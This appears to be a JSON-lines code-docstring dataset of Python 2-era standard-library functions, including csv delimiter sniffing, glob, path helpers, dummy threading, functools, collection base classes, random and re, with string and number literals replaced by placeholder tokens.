{"signature": "def _guess_delimiter(self, data, delimiters):", "body": "data = [_f for _f in data.split('<STR_LIT:\\n>') if _f]<EOL>ascii = [chr(c) for c in range(<NUM_LIT>)] <EOL>chunkLength = min(<NUM_LIT:10>, len(data))<EOL>iteration = <NUM_LIT:0><EOL>charFrequency = {}<EOL>modes = {}<EOL>delims = {}<EOL>start, end = <NUM_LIT:0>, min(chunkLength, len(data))<EOL>while start < len(data):<EOL><INDENT>iteration += <NUM_LIT:1><EOL>for line in data[start:end]:<EOL><INDENT>for char in ascii:<EOL><INDENT>metaFrequency = charFrequency.get(char, {})<EOL>freq = line.count(char)<EOL>metaFrequency[freq] = metaFrequency.get(freq, <NUM_LIT:0>) + <NUM_LIT:1><EOL>charFrequency[char] = metaFrequency<EOL><DEDENT><DEDENT>for char in list(charFrequency.keys()):<EOL><INDENT>items = list(charFrequency[char].items())<EOL>if len(items) == <NUM_LIT:1> and items[<NUM_LIT:0>][<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if len(items) > <NUM_LIT:1>:<EOL><INDENT>modes[char] = reduce(lambda a, b: a[<NUM_LIT:1>] > b[<NUM_LIT:1>] and a or b,<EOL>items)<EOL>items.remove(modes[char])<EOL>modes[char] = (modes[char][<NUM_LIT:0>], modes[char][<NUM_LIT:1>]<EOL>- reduce(lambda a, b: (<NUM_LIT:0>, a[<NUM_LIT:1>] + b[<NUM_LIT:1>]),<EOL>items)[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>modes[char] = items[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>modeList = list(modes.items())<EOL>total = float(chunkLength * iteration)<EOL>consistency = <NUM_LIT:1.0><EOL>threshold = <NUM_LIT><EOL>while len(delims) == <NUM_LIT:0> and consistency >= threshold:<EOL><INDENT>for k, v in modeList:<EOL><INDENT>if v[<NUM_LIT:0>] > <NUM_LIT:0> and v[<NUM_LIT:1>] > <NUM_LIT:0>:<EOL><INDENT>if ((v[<NUM_LIT:1>]/total) >= consistency and<EOL>(delimiters is None or k in delimiters)):<EOL><INDENT>delims[k] = v<EOL><DEDENT><DEDENT><DEDENT>consistency -= <NUM_LIT><EOL><DEDENT>if len(delims) == <NUM_LIT:1>:<EOL><INDENT>delim = list(delims.keys())[<NUM_LIT:0>]<EOL>skipinitialspace = (data[<NUM_LIT:0>].count(delim) ==<EOL>data[<NUM_LIT:0>].count(\"<STR_LIT>\" % delim))<EOL>return (delim, skipinitialspace)<EOL><DEDENT>start = end<EOL>end += chunkLength<EOL><DEDENT>if not delims:<EOL><INDENT>return ('<STR_LIT>', <NUM_LIT:0>)<EOL><DEDENT>if len(delims) > <NUM_LIT:1>:<EOL><INDENT>for d in self.preferred:<EOL><INDENT>if d in list(delims.keys()):<EOL><INDENT>skipinitialspace = (data[<NUM_LIT:0>].count(d) ==<EOL>data[<NUM_LIT:0>].count(\"<STR_LIT>\" % d))<EOL>return (d, skipinitialspace)<EOL><DEDENT><DEDENT><DEDENT>items = [(v,k) for (k,v) in list(delims.items())]<EOL>items.sort()<EOL>delim = items[-<NUM_LIT:1>][<NUM_LIT:1>]<EOL>skipinitialspace = (data[<NUM_LIT:0>].count(delim) ==<EOL>data[<NUM_LIT:0>].count(\"<STR_LIT>\" % delim))<EOL>return (delim, skipinitialspace)<EOL>", "docstring": "The delimiter /should/ occur the same number of times on\neach row. However, due to malformed data, it may not. We don't want\nan all or nothing approach, so we allow for small variations in this\nnumber.\n  1) build a table of the frequency of each character on every line.\n  2) build a table of frequencies of this frequency (meta-frequency?),\n     e.g.  'x occurred 5 times in 10 rows, 6 times in 1000 rows,\n     7 times in 2 rows'\n  3) use the mode of the meta-frequency to determine the /expected/\n     frequency for that character\n  4) find out how often the character actually meets that goal\n  5) the character that best meets its goal is the delimiter\nFor performance reasons, the data is evaluated in chunks, so it can\ntry and evaluate the smallest portion of the data possible, evaluating\nadditional chunks as necessary.", "id": "f16463:c5:m3"}
{"signature": "def reset():", "body": "global cache<EOL>cache = {}<EOL>", "docstring": "Reset the cache completely.", "id": "f16464:m0"}
{"signature": "def listdir(path):", "body": "try:<EOL><INDENT>cached_mtime, list = cache[path]<EOL>del cache[path]<EOL><DEDENT>except KeyError:<EOL><INDENT>cached_mtime, list = -<NUM_LIT:1>, []<EOL><DEDENT>mtime = os.stat(path).st_mtime<EOL>if mtime != cached_mtime:<EOL><INDENT>list = os.listdir(path)<EOL>list.sort()<EOL><DEDENT>cache[path] = mtime, list<EOL>return list<EOL>", "docstring": "List directory contents, using cache.", "id": "f16464:m1"}
{"signature": "def annotate(head, list):", "body": "for i in range(len(list)):<EOL><INDENT>if os.path.isdir(os.path.join(head, list[i])):<EOL><INDENT>list[i] = list[i] + '<STR_LIT:/>'<EOL><DEDENT><DEDENT>", "docstring": "Add '/' suffixes to directories.", "id": "f16464:m2"}
{"signature": "def glob(pathname):", "body": "return list(iglob(pathname))<EOL>", "docstring": "Return a list of paths matching a pathname pattern.\n\n    The pattern may contain simple shell-style wildcards a la\n    fnmatch. However, unlike fnmatch, filenames starting with a\n    dot are special cases that are not matched by '*' and '?'\n    patterns.", "id": "f16465:m0"}
{"signature": "def iglob(pathname):", "body": "dirname, basename = os.path.split(pathname)<EOL>if not has_magic(pathname):<EOL><INDENT>if basename:<EOL><INDENT>if os.path.lexists(pathname):<EOL><INDENT>yield pathname<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if os.path.isdir(dirname):<EOL><INDENT>yield pathname<EOL><DEDENT><DEDENT>return<EOL><DEDENT>if not dirname:<EOL><INDENT>for name in glob1(os.curdir, basename):<EOL><INDENT>yield name<EOL><DEDENT>return<EOL><DEDENT>if dirname != pathname and has_magic(dirname):<EOL><INDENT>dirs = iglob(dirname)<EOL><DEDENT>else:<EOL><INDENT>dirs = [dirname]<EOL><DEDENT>if has_magic(basename):<EOL><INDENT>glob_in_dir = glob1<EOL><DEDENT>else:<EOL><INDENT>glob_in_dir = glob0<EOL><DEDENT>for dirname in dirs:<EOL><INDENT>for name in glob_in_dir(dirname, basename):<EOL><INDENT>yield os.path.join(dirname, name)<EOL><DEDENT><DEDENT>", "docstring": "Return an iterator which yields the paths matching a pathname pattern.\n\n    The pattern may contain simple shell-style wildcards a la\n    fnmatch. However, unlike fnmatch, filenames starting with a\n    dot are special cases that are not matched by '*' and '?'\n    patterns.", "id": "f16465:m1"}
{"signature": "def exists(path):", "body": "try:<EOL><INDENT>os.stat(path)<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Test whether a path exists.  Returns False for broken symbolic links", "id": "f16466:m0"}
{"signature": "def isfile(path):", "body": "try:<EOL><INDENT>st = os.stat(path)<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>return stat.S_ISREG(st.st_mode)<EOL>", "docstring": "Test whether a path is a regular file", "id": "f16466:m1"}
{"signature": "def isdir(s):", "body": "try:<EOL><INDENT>st = os.stat(s)<EOL><DEDENT>except os.error:<EOL><INDENT>return False<EOL><DEDENT>return stat.S_ISDIR(st.st_mode)<EOL>", "docstring": "Return true if the pathname refers to an existing directory.", "id": "f16466:m2"}
{"signature": "def getsize(filename):", "body": "return os.stat(filename).st_size<EOL>", "docstring": "Return the size of a file, reported by os.stat().", "id": "f16466:m3"}
{"signature": "def getmtime(filename):", "body": "return os.stat(filename).st_mtime<EOL>", "docstring": "Return the last modification time of a file, reported by os.stat().", "id": "f16466:m4"}
{"signature": "def getatime(filename):", "body": "return os.stat(filename).st_atime<EOL>", "docstring": "Return the last access time of a file, reported by os.stat().", "id": "f16466:m5"}
{"signature": "def getctime(filename):", "body": "return os.stat(filename).st_ctime<EOL>", "docstring": "Return the metadata change time of a file, reported by os.stat().", "id": "f16466:m6"}
{"signature": "def commonprefix(m):", "body": "if not m: return '<STR_LIT>'<EOL>s1 = min(m)<EOL>s2 = max(m)<EOL>for i, c in enumerate(s1):<EOL><INDENT>if c != s2[i]:<EOL><INDENT>return s1[:i]<EOL><DEDENT><DEDENT>return s1<EOL>", "docstring": "Given a list of pathnames, returns the longest common leading component", "id": "f16466:m7"}
{"signature": "def _splitext(p, sep, altsep, extsep):", "body": "sepIndex = p.rfind(sep)<EOL>if altsep:<EOL><INDENT>altsepIndex = p.rfind(altsep)<EOL>sepIndex = max(sepIndex, altsepIndex)<EOL><DEDENT>dotIndex = p.rfind(extsep)<EOL>if dotIndex > sepIndex:<EOL><INDENT>filenameIndex = sepIndex + <NUM_LIT:1><EOL>while filenameIndex < dotIndex:<EOL><INDENT>if p[filenameIndex] != extsep:<EOL><INDENT>return p[:dotIndex], p[dotIndex:]<EOL><DEDENT>filenameIndex += <NUM_LIT:1><EOL><DEDENT><DEDENT>return p, '<STR_LIT>'<EOL>", "docstring": "Split the extension from a pathname.\n\n    Extension is everything from the last dot to the end, ignoring\n    leading dots.  Returns \"(root, ext)\"; ext may be empty.", "id": "f16466:m8"}
{"signature": "def start_new_thread(function, args, kwargs={}):", "body": "if type(args) != type(tuple()):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if type(kwargs) != type(dict()):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>global _main<EOL>_main = False<EOL>try:<EOL><INDENT>function(*args, **kwargs)<EOL><DEDENT>except SystemExit:<EOL><INDENT>pass<EOL><DEDENT>except:<EOL><INDENT>_traceback.print_exc()<EOL><DEDENT>_main = True<EOL>global _interrupt<EOL>if _interrupt:<EOL><INDENT>_interrupt = False<EOL>raise KeyboardInterrupt<EOL><DEDENT>", "docstring": "Dummy implementation of thread.start_new_thread().\n\n    Compatibility is maintained by making sure that ``args`` is a\n    tuple and ``kwargs`` is a dictionary.  If an exception is raised\n    and it is SystemExit (which can be done by thread.exit()) it is\n    caught and nothing is done; all other exceptions are printed out\n    by using traceback.print_exc().\n\n    If the executed function calls interrupt_main the KeyboardInterrupt will be\n    raised when the function returns.", "id": "f16467:m0"}
{"signature": "def exit():", "body": "raise SystemExit<EOL>", "docstring": "Dummy implementation of thread.exit().", "id": "f16467:m1"}
{"signature": "def get_ident():", "body": "return -<NUM_LIT:1><EOL>", "docstring": "Dummy implementation of thread.get_ident().\n\n    Since this module should only be used when threadmodule is not\n    available, it is safe to assume that the current process is the\n    only thread.  Thus a constant can be safely returned.", "id": "f16467:m2"}
{"signature": "def allocate_lock():", "body": "return LockType()<EOL>", "docstring": "Dummy implementation of thread.allocate_lock().", "id": "f16467:m3"}
{"signature": "def stack_size(size=None):", "body": "if size is not None:<EOL><INDENT>raise error(\"<STR_LIT>\")<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Dummy implementation of thread.stack_size().", "id": "f16467:m4"}
{"signature": "def interrupt_main():", "body": "if _main:<EOL><INDENT>raise KeyboardInterrupt<EOL><DEDENT>else:<EOL><INDENT>global _interrupt<EOL>_interrupt = True<EOL><DEDENT>", "docstring": "Set _interrupt flag to True to have start_new_thread raise\n    KeyboardInterrupt upon exiting.", "id": "f16467:m5"}
{"signature": "def acquire(self, waitflag=None):", "body": "if waitflag is None or waitflag:<EOL><INDENT>self.locked_status = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>if not self.locked_status:<EOL><INDENT>self.locked_status = True<EOL>return True<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>", "docstring": "Dummy implementation of acquire().\n\n        For blocking calls, self.locked_status is automatically set to\n        True and returned appropriately based on value of\n        ``waitflag``.  If it is non-blocking, then the value is\n        actually checked and not set if it is already acquired.  This\n        is all done so that threading.Condition's assert statements\n        aren't triggered and throw a little fit.", "id": "f16467:c1:m1"}
{"signature": "def release(self):", "body": "<EOL>if not self.locked_status:<EOL><INDENT>raise error<EOL><DEDENT>self.locked_status = False<EOL>return True<EOL>", "docstring": "Release the dummy lock.", "id": "f16467:c1:m3"}
{"signature": "def debug(self):", "body": "for test in self:<EOL><INDENT>test.debug()<EOL><DEDENT>", "docstring": "Run the tests without collecting errors in a TestResult", "id": "f16468:c0:m10"}
{"signature": "def debug(self):", "body": "debug = _DebugResult()<EOL>self.run(debug, True)<EOL>", "docstring": "Run the tests without collecting errors in a TestResult", "id": "f16468:c1:m1"}
{"signature": "def printErrors(self):", "body": "", "docstring": "Called by TestRunner after test run", "id": "f16469:c0:m1"}
{"signature": "def startTestRun(self):", "body": "", "docstring": "Called once before any tests are executed.\n\n        See startTest for a method called before each test.", "id": "f16469:c0:m4"}
{"signature": "def stopTestRun(self):", "body": "", "docstring": "Called once after all tests are executed.\n\n        See stopTest for a method called after each test.", "id": "f16469:c0:m7"}
{"signature": "def wasSuccessful(self):", "body": "return len(self.failures) == len(self.errors) == <NUM_LIT:0><EOL>", "docstring": "Tells whether or not this result was a success", "id": "f16469:c0:m14"}
{"signature": "def stop(self):", "body": "self.shouldStop = True<EOL>", "docstring": "Indicates that the tests should be aborted", "id": "f16469:c0:m15"}
{"signature": "def update_wrapper(wrapper,<EOL>wrapped,<EOL>assigned = WRAPPER_ASSIGNMENTS,<EOL>updated = WRAPPER_UPDATES):", "body": "for attr in assigned:<EOL><INDENT>setattr(wrapper, attr, getattr(wrapped, attr))<EOL><DEDENT>for attr in updated:<EOL><INDENT>getattr(wrapper, attr).update(getattr(wrapped, attr, {}))<EOL><DEDENT>return wrapper<EOL>", "docstring": "Update a wrapper function to look like the wrapped function\n\n       wrapper is the function to be updated\n       wrapped is the original function\n       assigned is a tuple naming the attributes assigned directly\n       from the wrapped function to the wrapper function (defaults to\n       functools.WRAPPER_ASSIGNMENTS)\n       updated is a tuple naming the attributes of the wrapper that\n       are updated with the corresponding attribute from the wrapped\n       function (defaults to functools.WRAPPER_UPDATES)", "id": "f16470:m1"}
{"signature": "def wraps(wrapped,<EOL>assigned = WRAPPER_ASSIGNMENTS,<EOL>updated = WRAPPER_UPDATES):", "body": "return partial(update_wrapper, wrapped=wrapped,<EOL>assigned=assigned, updated=updated)<EOL>", "docstring": "Decorator factory to apply update_wrapper() to a wrapper function\n\n       Returns a decorator that invokes update_wrapper() with the decorated\n       function as the wrapper argument and the arguments to wraps() as the\n       remaining arguments. Default arguments are as for update_wrapper().\n       This is a convenience function to simplify applying partial() to\n       update_wrapper().", "id": "f16470:m2"}
{"signature": "def total_ordering(cls):", "body": "convert = {<EOL>'<STR_LIT>': [('<STR_LIT>', lambda self, other: not (self < other or self == other)),<EOL>('<STR_LIT>', lambda self, other: self < other or self == other),<EOL>('<STR_LIT>', lambda self, other: not self < other)],<EOL>'<STR_LIT>': [('<STR_LIT>', lambda self, other: not self <= other or self == other),<EOL>('<STR_LIT>', lambda self, other: self <= other and not self == other),<EOL>('<STR_LIT>', lambda self, other: not self <= other)],<EOL>'<STR_LIT>': [('<STR_LIT>', lambda self, other: not (self > other or self == other)),<EOL>('<STR_LIT>', lambda self, other: self > other or self == other),<EOL>('<STR_LIT>', lambda self, other: not self > other)],<EOL>'<STR_LIT>': [('<STR_LIT>', lambda self, other: (not self >= other) or self == other),<EOL>('<STR_LIT>', lambda self, other: self >= other and not self == other),<EOL>('<STR_LIT>', lambda self, other: not self >= other)]<EOL>}<EOL>roots = set(dir(cls)) & set(convert)<EOL>if not roots:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>root = max(roots)       <EOL>for opname, opfunc in convert[root]:<EOL><INDENT>if opname not in roots:<EOL><INDENT>opfunc.__name__ = opname<EOL>opfunc.__doc__ = getattr(int, opname).__doc__<EOL>setattr(cls, opname, opfunc)<EOL><DEDENT><DEDENT>return cls<EOL>", "docstring": "Class decorator that fills in missing ordering methods", "id": "f16470:m3"}
{"signature": "def cmp_to_key(mycmp):", "body": "class K(object):<EOL><INDENT>__slots__ = ['<STR_LIT>']<EOL>def __init__(self, obj, *args):<EOL><INDENT>self.obj = obj<EOL><DEDENT>def __lt__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) < <NUM_LIT:0><EOL><DEDENT>def __gt__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) > <NUM_LIT:0><EOL><DEDENT>def __eq__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) == <NUM_LIT:0><EOL><DEDENT>def __le__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) <= <NUM_LIT:0><EOL><DEDENT>def __ge__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) >= <NUM_LIT:0><EOL><DEDENT>def __ne__(self, other):<EOL><INDENT>return mycmp(self.obj, other.obj) != <NUM_LIT:0><EOL><DEDENT>def __hash__(self):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT><DEDENT>return K<EOL>", "docstring": "Convert a cmp= function into a key= function", "id": "f16470:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def next(self):<DEDENT>", "body": "raise StopIteration<EOL>", "docstring": "Return the next item from the iterator. When exhausted, raise StopIteration", "id": "f16471:c2:m0"}
{"signature": "@classmethod<EOL><INDENT>def _from_iterable(cls, it):<DEDENT>", "body": "return cls(it)<EOL>", "docstring": "Construct an instance of the class from any iterable input.\n\n        Must override this method if the class constructor signature\n        does not accept an iterable for an input.", "id": "f16471:c6:m6"}
{"signature": "def isdisjoint(self, other):", "body": "for value in other:<EOL><INDENT>if value in self:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Return True if two sets have a null intersection.", "id": "f16471:c6:m8"}
{"signature": "def _hash(self):", "body": "MAX = sys.maxint<EOL>MASK = <NUM_LIT:2> * MAX + <NUM_LIT:1><EOL>n = len(self)<EOL>h = <NUM_LIT> * (n + <NUM_LIT:1>)<EOL>h &= MASK<EOL>for x in self:<EOL><INDENT>hx = hash(x)<EOL>h ^= (hx ^ (hx << <NUM_LIT:16>) ^ <NUM_LIT>)  * <NUM_LIT><EOL>h &= MASK<EOL><DEDENT>h = h * <NUM_LIT> + <NUM_LIT><EOL>h &= MASK<EOL>if h > MAX:<EOL><INDENT>h -= MASK + <NUM_LIT:1><EOL><DEDENT>if h == -<NUM_LIT:1>:<EOL><INDENT>h = <NUM_LIT><EOL><DEDENT>return h<EOL>", "docstring": "Compute the hash value of a set.\n\n        Note that we don't define __hash__: not all sets are hashable.\n        But if you define a hashable set type, its __hash__ should\n        call this function.\n\n        This must be compatible __eq__.\n\n        All sets ought to compare equal if they contain the same\n        elements, regardless of how they are implemented, and\n        regardless of the order of the elements; so there's not much\n        freedom for __eq__ or __hash__.  We match the algorithm used\n        by the built-in frozenset type.", "id": "f16471:c6:m13"}
{"signature": "@abstractmethod<EOL><INDENT>def add(self, value):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Add an element.", "id": "f16471:c7:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def discard(self, value):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Remove an element.  Do not raise an exception if absent.", "id": "f16471:c7:m1"}
{"signature": "def remove(self, value):", "body": "if value not in self:<EOL><INDENT>raise KeyError(value)<EOL><DEDENT>self.discard(value)<EOL>", "docstring": "Remove an element. If not a member, raise a KeyError.", "id": "f16471:c7:m2"}
{"signature": "def pop(self):", "body": "it = iter(self)<EOL>try:<EOL><INDENT>value = next(it)<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise KeyError<EOL><DEDENT>self.discard(value)<EOL>return value<EOL>", "docstring": "Return the popped value.  Raise KeyError if empty.", "id": "f16471:c7:m3"}
{"signature": "def clear(self):", "body": "try:<EOL><INDENT>while True:<EOL><INDENT>self.pop()<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "This is slow (creates N new iterators!) but effective.", "id": "f16471:c7:m4"}
{"signature": "def get(self, key, default=None):", "body": "try:<EOL><INDENT>return self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "D.get(k[,d]) -> D[k] if k in D, else d.  d defaults to None.", "id": "f16471:c8:m1"}
{"signature": "def iterkeys(self):", "body": "return iter(self)<EOL>", "docstring": "D.iterkeys() -> an iterator over the keys of D", "id": "f16471:c8:m3"}
{"signature": "def itervalues(self):", "body": "for key in self:<EOL><INDENT>yield self[key]<EOL><DEDENT>", "docstring": "D.itervalues() -> an iterator over the values of D", "id": "f16471:c8:m4"}
{"signature": "def iteritems(self):", "body": "for key in self:<EOL><INDENT>yield (key, self[key])<EOL><DEDENT>", "docstring": "D.iteritems() -> an iterator over the (key, value) items of D", "id": "f16471:c8:m5"}
{"signature": "def keys(self):", "body": "return list(self)<EOL>", "docstring": "D.keys() -> list of D's keys", "id": "f16471:c8:m6"}
{"signature": "def items(self):", "body": "return [(key, self[key]) for key in self]<EOL>", "docstring": "D.items() -> list of D's (key, value) pairs, as 2-tuples", "id": "f16471:c8:m7"}
{"signature": "def values(self):", "body": "return [self[key] for key in self]<EOL>", "docstring": "D.values() -> list of D's values", "id": "f16471:c8:m8"}
{"signature": "def pop(self, key, default=__marker):", "body": "try:<EOL><INDENT>value = self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>if default is self.__marker:<EOL><INDENT>raise<EOL><DEDENT>return default<EOL><DEDENT>else:<EOL><INDENT>del self[key]<EOL>return value<EOL><DEDENT>", "docstring": "D.pop(k[,d]) -> v, remove specified key and return the corresponding value.\n          If key is not found, d is returned if given, otherwise KeyError is raised.", "id": "f16471:c10:m2"}
{"signature": "def popitem(self):", "body": "try:<EOL><INDENT>key = next(iter(self))<EOL><DEDENT>except StopIteration:<EOL><INDENT>raise KeyError<EOL><DEDENT>value = self[key]<EOL>del self[key]<EOL>return key, value<EOL>", "docstring": "D.popitem() -> (k, v), remove and return some (key, value) pair\n           as a 2-tuple; but raise KeyError if D is empty.", "id": "f16471:c10:m3"}
{"signature": "def clear(self):", "body": "try:<EOL><INDENT>while True:<EOL><INDENT>self.popitem()<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "D.clear() -> None.  Remove all items from D.", "id": "f16471:c10:m4"}
{"signature": "def update(*args, **kwds):", "body": "if not args:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self = args[<NUM_LIT:0>]<EOL>args = args[<NUM_LIT:1>:]<EOL>if len(args) > <NUM_LIT:1>:<EOL><INDENT>raise TypeError('<STR_LIT>' %<EOL>len(args))<EOL><DEDENT>if args:<EOL><INDENT>other = args[<NUM_LIT:0>]<EOL>if isinstance(other, Mapping):<EOL><INDENT>for key in other:<EOL><INDENT>self[key] = other[key]<EOL><DEDENT><DEDENT>elif hasattr(other, \"<STR_LIT>\"):<EOL><INDENT>for key in other.keys():<EOL><INDENT>self[key] = other[key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for key, value in other:<EOL><INDENT>self[key] = value<EOL><DEDENT><DEDENT><DEDENT>for key, value in kwds.items():<EOL><INDENT>self[key] = value<EOL><DEDENT>", "docstring": "D.update([E, ]**F) -> None.  Update D from mapping/iterable E and F.\n            If E present and has a .keys() method, does:     for k in E: D[k] = E[k]\n            If E present and lacks .keys() method, does:     for (k, v) in E: D[k] = v\n            In either case, this is followed by: for k, v in F.items(): D[k] = v", "id": "f16471:c10:m5"}
{"signature": "def setdefault(self, key, default=None):", "body": "try:<EOL><INDENT>return self[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>self[key] = default<EOL><DEDENT>return default<EOL>", "docstring": "D.setdefault(k[,d]) -> D.get(k,d), also set D[k]=d if k not in D", "id": "f16471:c10:m6"}
{"signature": "def index(self, value):", "body": "for i, v in enumerate(self):<EOL><INDENT>if v == value:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>raise ValueError<EOL>", "docstring": "S.index(value) -> integer -- return first index of value.\n           Raises ValueError if the value is not present.", "id": "f16471:c11:m4"}
{"signature": "def count(self, value):", "body": "return sum(<NUM_LIT:1> for v in self if v == value)<EOL>", "docstring": "S.count(value) -> integer -- return number of occurrences of value", "id": "f16471:c11:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def insert(self, index, value):<DEDENT>", "body": "raise IndexError<EOL>", "docstring": "S.insert(index, object) -- insert object before index", "id": "f16471:c12:m2"}
{"signature": "def append(self, value):", "body": "self.insert(len(self), value)<EOL>", "docstring": "S.append(object) -- append object to the end of the sequence", "id": "f16471:c12:m3"}
{"signature": "def reverse(self):", "body": "n = len(self)<EOL>for i in range(n//<NUM_LIT:2>):<EOL><INDENT>self[i], self[n-i-<NUM_LIT:1>] = self[n-i-<NUM_LIT:1>], self[i]<EOL><DEDENT>", "docstring": "S.reverse() -- reverse *IN PLACE*", "id": "f16471:c12:m4"}
{"signature": "def extend(self, values):", "body": "for v in values:<EOL><INDENT>self.append(v)<EOL><DEDENT>", "docstring": "S.extend(iterable) -- extend sequence by appending elements from the iterable", "id": "f16471:c12:m5"}
{"signature": "def pop(self, index=-<NUM_LIT:1>):", "body": "v = self[index]<EOL>del self[index]<EOL>return v<EOL>", "docstring": "S.pop([index]) -> item -- remove and return item at index (default last).\n           Raise IndexError if list is empty or index is out of range.", "id": "f16471:c12:m6"}
{"signature": "def remove(self, value):", "body": "del self[self.index(value)]<EOL>", "docstring": "S.remove(value) -- remove first occurrence of value.\n           Raise ValueError if the value is not present.", "id": "f16471:c12:m7"}
{"signature": "def __init__(self, x=None):", "body": "self.seed(x)<EOL>self.gauss_next = None<EOL>", "docstring": "Initialize an instance.\n\n        Optional argument x controls seeding, as for Random.seed().", "id": "f16474:c0:m0"}
{"signature": "def seed(self, a=None):", "body": "super(Random, self).seed(a)<EOL>self.gauss_next = None<EOL>", "docstring": "Initialize internal state of the random number generator.\n\n        None or no argument seeds from current time or from an operating\n        system specific randomness source if available.\n\n        If a is not None or is an int or long, hash(a) is used instead.\n        Hash values for some types are nondeterministic when the\n        PYTHONHASHSEED environment variable is enabled.", "id": "f16474:c0:m1"}
{"signature": "def randrange(self, start, stop=None, step=<NUM_LIT:1>, _int=int, _maxwidth=<NUM_LIT:1><<BPF):", "body": "<EOL>istart = _int(start)<EOL>if istart != start:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if stop is None:<EOL><INDENT>if istart > <NUM_LIT:0>:<EOL><INDENT>if istart >= _maxwidth:<EOL><INDENT>return self._randbelow(istart)<EOL><DEDENT>return _int(self.random() * istart)<EOL><DEDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>istop = _int(stop)<EOL>if istop != stop:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>width = istop - istart<EOL>if step == <NUM_LIT:1> and width > <NUM_LIT:0>:<EOL><INDENT>if width >= _maxwidth:<EOL><INDENT>return _int(istart + self._randbelow(width))<EOL><DEDENT>return _int(istart + _int(self.random()*width))<EOL><DEDENT>if step == <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (istart, istop, width))<EOL><DEDENT>istep = _int(step)<EOL>if istep != step:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if istep > <NUM_LIT:0>:<EOL><INDENT>n = (width + istep - <NUM_LIT:1>) // istep<EOL><DEDENT>elif istep < <NUM_LIT:0>:<EOL><INDENT>n = (width + istep + <NUM_LIT:1>) // istep<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if n <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if n >= _maxwidth:<EOL><INDENT>return istart + istep*self._randbelow(n)<EOL><DEDENT>return istart + istep*_int(self.random() * n)<EOL>", "docstring": "Choose a random item from range(start, stop[, step]).\n\n        This fixes the problem with randint() which includes the\n        endpoint; in Python this is usually not what you want.", "id": "f16474:c0:m2"}
{"signature": "def randint(self, a, b):", "body": "return self.randrange(a, b+<NUM_LIT:1>)<EOL>", "docstring": "Return random integer in range [a, b], including both end points.", "id": "f16474:c0:m3"}
{"signature": "def choice(self, seq):", "body": "return seq[int(self.random() * len(seq))]<EOL>", "docstring": "Choose a random element from a non-empty sequence.", "id": "f16474:c0:m4"}
{"signature": "def shuffle(self, x, random=None):", "body": "if random is None:<EOL><INDENT>random = self.random<EOL><DEDENT>_int = int<EOL>for i in reversed(range(<NUM_LIT:1>, len(x))):<EOL><INDENT>j = _int(random() * (i+<NUM_LIT:1>))<EOL>x[i], x[j] = x[j], x[i]<EOL><DEDENT>", "docstring": "x, random=random.random -> shuffle list x in place; return None.\n\n        Optional arg random is a 0-argument function returning a random\n        float in [0.0, 1.0); by default, the standard random.random.", "id": "f16474:c0:m5"}
{"signature": "def uniform(self, a, b):", "body": "return a + (b-a) * self.random()<EOL>", "docstring": "Get a random number in the range [a, b) or [a, b] depending on rounding.", "id": "f16474:c0:m6"}
{"signature": "def match(pattern, string, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).match(string)<EOL>", "docstring": "Try to apply the pattern at the start of the string, returning\n    a match object, or None if no match was found.", "id": "f16475:m0"}
{"signature": "def search(pattern, string, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).search(string)<EOL>", "docstring": "Scan through string looking for a match to the pattern, returning\n    a match object, or None if no match was found.", "id": "f16475:m1"}
{"signature": "def sub(pattern, repl, string, count=<NUM_LIT:0>, flags=<NUM_LIT:0>):", "body": "return _compile(pattern, flags).sub(repl, string, count)<EOL>", "docstring": "Return the string obtained by replacing the leftmost\n    non-overlapping occurrences of the pattern in string by the\n    replacement repl.  repl can be either a string or a callable;\n    if a string, backslash escapes in it are processed.  If it is\n    a callable, it's passed the match object and must return\n    a replacement string to be used.", "id": "f16475:m2"}
